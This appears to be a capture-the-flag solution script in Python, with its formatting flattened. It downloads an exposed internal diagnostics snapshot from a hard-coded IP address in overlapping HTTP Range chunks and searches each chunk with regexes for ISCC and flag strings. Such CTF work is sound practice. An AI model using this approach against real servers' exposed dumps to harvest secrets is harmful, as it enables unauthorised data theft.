1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsimport reURL = "http://39.105.213.28:12602/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat" CHUNK_SIZE = 512 * 1024 OVERLAP = 200 total_size = 27692349 overlap_buf = b"" patterns = [re.compile (rb'ISCC\{[^}]+\}' , re.IGNORECASE), re.compile (rb'flag\{[^}]+\}' , re.IGNORECASE), re.compile (rb'FLAG[=:]\s*["\']?([^"\'\s]+)' ), re.compile (rb'flag[=:]\s*["\']?([^"\'\s]+)' )] found = set () for start in range (0 , total_size, CHUNK_SIZE - OVERLAP): end = min (start + CHUNK_SIZE - 1 , total_size - 1 ) headers = {"Range" : f"bytes={start} -{end} " } try : r = requests.get(URL, headers=headers, timeout=30 ) if r.status_code not in (200 , 206 ): print (f"Unexpected status {r.status_code} at bytes {start} -{end} " ) continue data = overlap_buf + r.content for pat in patterns: for m in pat.finditer(data): match_text = m.group(0 ) if isinstance (match_text, bytes ): match_text = match_text.decode('utf-8' , errors='replace' ) if match_text not in found: found.add(match_text) print (f"FOUND at offset ~{start} : {match_text} " ) overlap_buf = data[-OVERLAP:] if len (data) > OVERLAP else data if start % (5 * 1024 * 1024 ) == 0 : print (f"Progress: {start/1024 /1024 :.1 f} / {total_size/1024 /1024 :.1 f} MB" ) except Exception as e: print (f"Error at bytes {start} -{end} : {e} " ) continue print (f"\nDone. Found {len (found)} unique matches." )for f in sorted (found): print (f" {f} " )